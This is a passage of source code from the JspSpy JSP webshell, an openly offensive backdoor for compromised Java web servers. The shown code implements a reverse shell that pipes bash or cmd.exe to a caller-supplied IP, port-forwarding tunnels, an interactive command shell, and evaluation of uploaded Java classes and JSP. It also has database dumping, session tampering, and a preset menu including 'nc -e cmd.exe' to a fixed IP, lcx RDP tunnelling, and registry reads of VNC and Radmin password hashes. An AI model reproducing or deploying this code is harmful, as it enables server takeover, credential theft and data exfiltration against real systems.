2477StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
2478JSession.setAttribute("done","Port Back Success !");
2479((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2480} catch (Exception e) {
2481
2482throw e ;
2483}
2484}
2485}
2486private static class MapPortInvoker extends DefaultInvoker {
2487public boolean doBefore(){return false;}
2488public boolean doAfter(){return false;}
2489public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2490try {
2491PrintWriter out = response.getWriter();
2492String localIP = request.getParameter("localIP");
2493String localPort = request.getParameter("localPort");
2494final String remoteIP = request.getParameter("remoteIP");
2495final String remotePort = request.getParameter("remotePort");
2496if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2497return;
2498Object obj = JSession.getAttribute(PORT_MAP);
2499if (obj != null) {
2500ServerSocket s = (ServerSocket)obj;
2501s.close();
2502}
2503final ServerSocket server = new ServerSocket();
2504server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2505JSession.setAttribute(PORT_MAP,server);
2506new Thread(new Runnable(){
2507public void run(){
2508while (true) {
2509Socket soc = null;
2510Socket remoteSoc = null;
2511DataInputStream remoteIn = null;
2512DataOutputStream remoteOut = null;
2513DataInputStream localIn = null;
2514DataOutputStream localOut = null;
2515try{
2516soc = server.accept();
2517remoteSoc = new Socket();
2518remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
2519remoteIn = new DataInputStream(remoteSoc.getInputStream());
2520remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
2521localIn = new DataInputStream(soc.getInputStream());
2522localOut = new DataOutputStream(soc.getOutputStream());
2523StreamConnector.readFromLocal(localIn,remoteOut);
2524StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
2525}catch(Exception ex)
2526{
2527break;
2528}
2529}
2530}
2531
2532}).start();
2533JSession.setAttribute("done","Map Port Success!");
2534JSession.setAttribute("localIP",localIP);
2535JSession.setAttribute("localPort",localPort);
2536JSession.setAttribute("remoteIP",remoteIP);
2537JSession.setAttribute("remotePort",remotePort);
2538JSession.setAttribute(SESSION_O,"vmp");
2539response.sendRedirect(SHELL_NAME);
2540} catch (Exception e) {
2541
2542throw e ;
2543}
2544}
2545}
2546//VBackConnect
2547private static class VbcInvoker extends DefaultInvoker {
2548public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2549try {
2550PrintWriter out = response.getWriter();
2551Object ip = JSession.getAttribute("ip");
2552Object port = JSession.getAttribute("port");
2553Object program = JSession.getAttribute("program");
2554Object done = JSession.getAttribute("done");
2555JSession.removeAttribute("ip");
2556JSession.removeAttribute("port");
2557JSession.removeAttribute("program");
2558JSession.removeAttribute("done");
2559if (Util.isEmpty(ip))
2560ip = request.getRemoteAddr();
2561if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
2562port = "53";
2563if (Util.isEmpty(program)) {
2564if (ISLINUX)
2565program = "/bin/bash";
2566else
2567program = "cmd.exe";
2568}
2569
2570if (!Util.isEmpty(done))
2571Util.outMsg(out,done.toString());
2572out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2573"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
2574" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2575" <tr>"+
2576" <td><h2 id=\"Bin_H2_Title\">Back Connect >></h2>"+
2577" <div id=\"hOWTm\">"+
2578" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2579" <tr align=\"center\">"+
2580" <td style=\"width:5%\"></td>"+
2581" <td align=\"center\">Your Ip :"+
2582" <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
2583" Your Port :"+
2584" <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
2585" <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
2586" </tr>"+
2587" <tr align=\"center\">"+
2588" <td colspan=\"2\"><br/>"+
2589" <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
2590" </td>"+
2591" </tr>"+
2592" </table>"+
2593" </div>"+
2594"</td>"+
2595"</tr>"+
2596"</table>"+
2597"</form>");
2598} catch (Exception e) {
2599
2600throw e ;
2601}
2602}
2603}
2604private static class BackConnectInvoker extends DefaultInvoker {
2605public boolean doAfter(){return false;}
2606public boolean doBefore(){return false;}
2607public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2608try {
2609String ip = request.getParameter("ip");
2610String port = request.getParameter("port");
2611String program = request.getParameter("program");
2612if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
2613return;
2614Socket socket = new Socket(ip,Integer.parseInt(port));
2615Process process = Runtime.getRuntime().exec(program);
2616(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
2617(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
2618(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
2619JSession.setAttribute("done","Back Connect Success!");
2620JSession.setAttribute("ip",ip);
2621JSession.setAttribute("port",port);
2622JSession.setAttribute("program",program);
2623JSession.setAttribute(SESSION_O,"vbc");
2624response.sendRedirect(SHELL_NAME);
2625} catch (Exception e) {
2626
2627throw e ;
2628}
2629}
2630}
2631private static class JspEnvInvoker extends DefaultInvoker {
2632public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2633try {
2634PrintWriter out = response.getWriter();
2635out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2636" <tr>"+
2637" <td><h2 id=\"Ninty_H2_Title\">System Properties >></h2>"+
2638" <div id=\"ghaB\">"+
2639" <hr/>"+
2640" <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2641Properties pro = System.getProperties();
2642Enumeration names = pro.propertyNames();
2643while (names.hasMoreElements()){
2644String name = (String)names.nextElement();
2645out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
2646}
2647out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment >></h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2648/*
2649 Map envs = System.getenv();
2650Set<Map.Entry<String,String>> entrySet = envs.entrySet();
2651for (Map.Entry<String,String> en:entrySet) {
2652out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
2653}*/
2654out.println("</ul></div></td>"+
2655" </tr>"+
2656" </table>");
2657} catch (Exception e) {
2658
2659throw e ;
2660}
2661}
2662}
2663private static class ReflectInvoker extends DefaultInvoker {
2664public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2665try {
2666PrintWriter out = response.getWriter();
2667String c = request.getParameter("Class");
2668Class cls = null;
2669try {
2670if (!Util.isEmpty(c))
2671cls = Class.forName(c);
2672} catch (ClassNotFoundException ex) {
2673Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
2674}
2675out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
2676" <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
2677" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2678" <tr>"+
2679" <td><h2 id=\"Bin_H2_Title\">Java Reflect >></h2>"+
2680" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2681" <tr>"+
2682" <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
2683" <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
2684" </tr>"+
2685" "+
2686" </table>"+
2687" </td>"+
2688" </tr>"+
2689" </table>"+
2690"</form>");
2691
2692if (cls != null) {
2693StringBuffer sb = new StringBuffer();
2694if (cls.getPackage() != null)
2695sb.append("package "+cls.getPackage().getName()+";\n");
2696String n = null;
2697if (cls.isInterface())
2698n = "";
2699//else if (cls.isEnum())
2700// n = "enum";
2701else
2702n = "class";
2703sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
2704if (cls.getSuperclass() != null)
2705sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
2706if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
2707Class[] faces = cls.getInterfaces();
2708sb.append("\t implements ");
2709for (int i = 0;i<faces.length;i++) {
2710sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
2711if (i != faces.length -1) {
2712sb.append(",");
2713}
2714}
2715}
2716sb.append("{\n\t\n");
2717sb.append("\t//constructors..\n");
2718Constructor[] cs = cls.getConstructors();
2719for (int i = 0;i<cs.length;i++) {
2720Constructor cc = cs[i];
2721sb.append("\t"+cc+";\n");
2722}
2723sb.append("\n\t//fields\n");
2724Field[] fs = cls.getDeclaredFields();
2725for (int i =0;i<fs.length;i++) {
2726Field f = fs[i];
2727sb.append("\t"+f.toString()+";");
2728if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
2729sb.append("\t//value is : ");
2730f.setAccessible(true);
2731Object obj = f.get(null);
2732sb.append("<span style='color:red'>");
2733if (obj != null)
2734sb.append(obj.toString());
2735else
2736sb.append("NULL");
2737
2738sb.append("</span>");
2739}
2740sb.append("\n");
2741}
2742
2743sb.append("\n\t//methods\n");
2744Method[] ms = cls.getDeclaredMethods();
2745for (int i =0;i<ms.length;i++) {
2746Method m = ms[i];
2747sb.append("\t"+ m.toString()+";\n");
2748}
2749sb.append("}\n");
2750String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t"," ").replaceAll("\n","<br/>")+"</span>";
2751Util.outMsg(out,m,"left");
2752}
2753} catch (Exception e) {
2754throw e;
2755}
2756}
2757}
2758private static class TopInvoker extends DefaultInvoker {
2759public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2760try {
2761PrintWriter out = response.getWriter();
2762out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
2763"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
2764" <tr class=\"head\">"+
2765" <td><span style=\"float:right;\">JspSpy Ver: 2010</span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
2766" </tr>"+
2767" <tr class=\"alt1\">"+
2768" <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
2769" <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
2770" <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
2771" <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
2772" <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
2773" <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
2774" <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
2775" <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
2776" <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
2777" <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
2778" <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
2779" <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
2780" <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
2781" <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
2782" <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
2783" </tr>"+
2784"</table>");
2785if (JSession.getAttribute(MSG) != null) {
2786Util.outMsg(out,JSession.getAttribute(MSG).toString());
2787JSession.removeAttribute(MSG);
2788}
2789if (JSession.getAttribute(ENTER_MSG) != null) {
2790String outEntry = request.getParameter("outentry");
2791if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
2792Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
2793}
2794} catch (Exception e) {
2795
2796throw e ;
2797}
2798}
2799}
2800private static class VOnLineShellInvoker extends DefaultInvoker {
2801public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2802try {
2803PrintWriter out = response.getWriter();
2804out.println("<script>"+
2805" function $(id) {"+
2806" return document.getElementById(id);"+
2807" }"+
2808" var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
2809" window.onload = function(){"+
2810" setInterval(function(){"+
2811" if ($(\"autoscroll\").checked)"+
2812" {"+
2813" var f = window.frames[\"echo\"];"+
2814" if (f && f.document && f.document.body)"+
2815" {"+
2816" if (!ie)"+
2817" {"+
2818" if (f.document.body.offsetHeight)"+
2819" {"+
2820" f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
2821" }"+
2822" } else {"+
2823" f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
2824" }"+
2825" }"+
2826" }"+
2827" },500);"+
2828" }"+
2829" </script>");
2830out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2831" <tr>"+
2832" <td>");
2833out.println("<h2>Shell OnLine »</h2><br/>");
2834out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
2835" <input type=\"submit\" value=\" start \" class=\"bt\">"+
2836" <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
2837" <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
2838" </form>"+
2839" <hr/>"+
2840" <iframe class=\"secho\" name=\"echo\" src=\"\">"+
2841" </iframe>"+
2842" <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
2843" <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
2844" <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
2845" <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
2846" <option value=\"\" selected> </option>"+
2847" <option value=\"uname -a\">uname -a</option>"+
2848" <option value=\"cat /etc/issue\">issue</option>"+
2849" <option value=\"cat /etc/passwd\">passwd</option>"+
2850" <option value=\"netstat -an\">netstat -an</option>"+
2851" <option value=\"net user\">net user</option>"+
2852" <option value=\"tasklist\">tasklist</option>"+
2853" <option value=\"tasklist /svc\">tasklist /svc</option>"+
2854" <option value=\"net start\">net start</option>"+
2855" <option value=\"net stop policyagent /yes\">net stop</option>"+
2856" <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
2857" <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
2858" <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
2859" <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
2860" <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
2861" <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
2862" <option value=\"systeminfo\">systeminfo</option>"+
2863" <option value=\"net localgroup\">view groups</option>"+
2864" <option value=\"net localgroup administrators\">view admins</option>"+
2865" </select>"+
2866" <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
2867" <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
2868" </form>"+
2869" <iframe style=\"display:none\" name=\"asyn\"></iframe>"
2870);
2871out.println(" </td>"+
2872" </tr>"+
2873"</table>");
2874} catch (Exception e) {
2875throw e ;
2876}
2877}
2878}
2879private static class OnLineInvoker extends DefaultInvoker {
2880public boolean doBefore(){return false;}
2881public boolean doAfter(){return false;}
2882public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2883try {
2884String type = request.getParameter("type");
2885if (Util.isEmpty(type))
2886return;
2887if (type.toLowerCase().equals("start")) {
2888String exe = request.getParameter("exe");
2889if (Util.isEmpty(exe))
2890return;
2891Process pro = Runtime.getRuntime().exec(exe);
2892ByteArrayOutputStream outs = new ByteArrayOutputStream();
2893response.setContentLength(100000000);
2894response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
2895OnLineProcess olp = new OnLineProcess(pro);
2896JSession.setAttribute(SHELL_ONLINE,olp);
2897new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
2898new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
2899new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
2900Thread.sleep(1000 * 60 * 60 * 24);
2901} else if (type.equals("ecmd")) {
2902Object o = JSession.getAttribute(SHELL_ONLINE);
2903String cmd = request.getParameter("cmd");
2904if (Util.isEmpty(cmd))
2905return;
2906if (o == null)
2907return;
2908OnLineProcess olp = (OnLineProcess)o;
2909olp.setCmd(cmd);
2910} else {
2911Object o = JSession.getAttribute(SHELL_ONLINE);
2912if (o == null)
2913return;
2914OnLineProcess olp = (OnLineProcess)o;
2915olp.stop();
2916}
2917} catch (Exception e) {
2918
2919throw e;
2920}
2921}
2922}
2923private static class EnterInvoker extends DefaultInvoker {
2924public boolean doBefore(){return false;}
2925public boolean doAfter(){return false;}
2926public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2927PrintWriter out = response.getWriter();
2928String type = request.getParameter("type");
2929if (!Util.isEmpty(type)) {
2930JSession.removeAttribute(ENTER);
2931JSession.removeAttribute(ENTER_MSG);
2932JSession.removeAttribute(ENTER_CURRENT_DIR);
2933JSession.setAttribute(MSG,"Exit File Success ! ");
2934} else {
2935String f = request.getParameter("filepath");
2936if (Util.isEmpty(f))
2937return;
2938JSession.setAttribute(ENTER,f);
2939JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
2940}
2941response.sendRedirect(SHELL_NAME);
2942}
2943}
2944private static class VExport2FileInvoker extends DefaultInvoker {
2945public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2946PrintWriter out = response.getWriter();
2947String type = request.getParameter("type");
2948String sql = request.getParameter("sql");
2949String table = request.getParameter("table");
2950if (Util.isEmpty(sql) && Util.isEmpty(table)) {
2951JSession.setAttribute(SESSION_O,"vConn");
2952response.sendRedirect(SHELL_NAME);
2953return;
2954}
2955out.println("<form action=\"\" method=\"post\">"+
2956"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2957" <tr>"+
2958" <td>"+
2959" <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
2960" <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
2961" <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","""))+"\"/>"+
2962" <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
2963" <h2>Export To File »</h2>"+
2964" "+
2965" <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
2966" <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
2967" <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
2968" </tr>"+
2969" </table>"+
2970"</form>");
2971}
2972}
2973
2974private static class ExportInvoker extends DefaultInvoker {
2975public boolean doBefore(){return false;}
2976public boolean doAfter(){return false;}
2977public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2978String type = request.getParameter("type");
2979String filepath = request.getParameter("filepath");
2980String encode = request.getParameter("encode");
2981String sql = null;
2982DBOperator dbo = null;
2983dbo = (DBOperator)JSession.getAttribute(DBO);
2984
2985if (Util.isEmpty(type)) {
2986//table export
2987String tb = request.getParameter("table");
2988if (Util.isEmpty(tb))
2989return;
2990String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
2991sql = "select * from "+s+tb+s;
2992
2993} else if (type.equals("queryexp")) {
2994//query export
2995sql = request.getParameter("sql");
2996if (Util.isEmpty(sql)) {
2997JSession.setAttribute(SESSION_O,"vConn");
2998response.sendRedirect(SHELL_NAME);
2999return;
3000}
3001}
3002Object o = dbo.execute(sql);
3003ByteArrayOutputStream bout = new ByteArrayOutputStream();
3004byte[] rowSep = "\r\n".getBytes();
3005if (o instanceof ResultSet) {
3006ResultSet rs = (ResultSet)o;
3007ResultSetMetaData meta = rs.getMetaData();
3008int count = meta.getColumnCount();
3009for (int i =1;i<=count;i++) {
3010String colName = meta.getColumnName(i)+"\t";
3011byte[] b = null;
3012if (Util.isEmpty(encode))
3013b = colName.getBytes();
3014else
3015b = colName.getBytes(encode);
3016bout.write(b,0,b.length);
3017}
3018bout.write(rowSep,0,rowSep.length);
3019while (rs.next()) {
3020for (int i =1;i<=count;i++) {
3021String v = null;
3022try {
3023v = rs.getString(i);
3024} catch (SQLException ex) {
3025v = "<<Error!>>";
3026}
3027v += "\t";
3028byte[] b = null;
3029if (Util.isEmpty(encode))
3030b = v.getBytes();
3031else
3032b = v.getBytes(encode);
3033bout.write(b,0,b.length);
3034}
3035bout.write(rowSep,0,rowSep.length);
3036}
3037rs.close();
3038ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
3039BufferedOutputStream output = null;
3040if (!Util.isEmpty(filepath)) {
3041//export2file
3042output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
3043} else {
3044//download.
3045response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
3046output = new BufferedOutputStream(response.getOutputStream());
3047}
3048byte[] data = new byte[1024];
3049int len = input.read(data);
3050while (len != -1) {
3051output.write(data,0,len);
3052len = input.read(data);
3053}
3054bout.close();
3055input.close();
3056output.close();
3057if (!Util.isEmpty(filepath)) {
3058JSession.setAttribute(MSG,"Export To File Success !");
3059response.sendRedirect(SHELL_NAME);
3060}
3061}
3062}
3063}
3064private static class EvalInvoker extends DefaultInvoker {
3065public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3066String type = request.getParameter("type");
3067PrintWriter out = response.getWriter();
3068Object msg = JSession.getAttribute(MSG);
3069if (msg != null) {
3070Util.outMsg(out,(String)msg);
3071JSession.removeAttribute(MSG);
3072}
3073if (Util.isEmpty(type)) {
3074out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3075" <tr>"+
3076" <td><h2>Eval Java Code »</h2>"+
3077"<hr/>"+
3078" <p>"+
3079" <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
3080"UpLoad a Class File : ");
3081Util.outMsg(out,"<pre>"+
3082"<span style='color:blue'>public class</span> SpyEval{\r\n"+
3083" <span style='color:blue'>static</span> {\r\n"+
3084" <span style='color:green'>//Your Code Here.</span>\r\n"+
3085" }\r\n"+
3086"}\r\n"+
3087"</pre>","left");
3088out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
3089" <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
3090" <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
3091" <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
3092" <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
3093" </form>"+
3094" </p>"+
3095" </td>"+
3096" </tr>"+
3097"</table>");
3098} else if (type.equals("jsp")){
3099String jspc = request.getParameter("jspc");
3100if (Util.isEmpty(jspc))
3101return;
3102File f = new File(SHELL_DIR,"evaltmpninty.jsp");
3103BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
3104writer.write(jspc,0,jspc.length());
3105writer.flush();
3106writer.close();
3107out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3108" <tr>"+
3109" <td><h2>Jsp Eval Result »</h2>");
3110out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
3111request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
3112out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
3113f.delete();
3114}
3115}
3116}
3117private static class EvalUploadInvoker extends DefaultInvoker {
3118public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3119ByteArrayOutputStream stream = new ByteArrayOutputStream();
3120UploadBean upload = new UploadBean();
3121upload.setTargetOutput(stream);
3122upload.parseRequest(request);
3123
3124if (stream.toByteArray().length == 2) {
3125JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
3126((Invoker)ins.get("ev")).invoke(request,response,JSession);
3127return;
3128}
3129SpyClassLoader loader = new SpyClassLoader();
3130try {
3131Class c = loader.defineClass(null,stream.toByteArray());
3132c.newInstance();
3133}catch(Exception e) {
3134}
3135stream.close();
3136JSession.setAttribute(MSG,"Eval Java Class Done ! ");
3137((Invoker)ins.get("ev")).invoke(request,response,JSession);
3138}
3139}
3140private static class VOtherInvoker extends DefaultInvoker {
3141public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3142try {
3143PrintWriter out = response.getWriter();
3144Object msg = JSession.getAttribute(MSG);
3145if (msg != null) {
3146Util.outMsg(out,(String)msg);
3147JSession.removeAttribute(MSG);
3148}
3149out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3150" <tr>"+
3151" <td><h2 id=\"Bin_H2_Title\">Session Manager>></h2><hr/>"+
3152" <div id=\"hOWTm\" style=\"line-height:30px\">"+
3153" <ul>");
3154Enumeration en = JSession.getAttributeNames();
3155while (en.hasMoreElements()) {
3156Object o = en.nextElement();
3157if (o.toString().equals(MSG))
3158continue;
3159out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
3160out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
3161out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
3162out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
3163out.println("</form></li>");
3164}
3165out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
3166"<legend>New Session Attribute</legend>"+
3167"name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
3168" name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
3169" </fieldset></form></li></ul></div></td>"+
3170" </tr>"+
3171" </table>");
3172} catch (Exception e) {
3173throw e ;
3174}
3175}
3176}
3177//Session Manager
3178private static class SmInvoker extends DefaultInvoker {
3179public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3180try {
3181String type = request.getParameter("type");
3182PrintWriter out = response.getWriter();
3183if (type.equals("update")) {
3184String name = request.getParameter("name");
3185String value = request.getParameter("value");
3186JSession.setAttribute(name,value);
3187JSession.setAttribute(MSG,"Update/Add Attribute Success !");
3188} else if (type.equals("delete")) {
3189String name = request.getParameter("name");
3190JSession.removeAttribute(name);
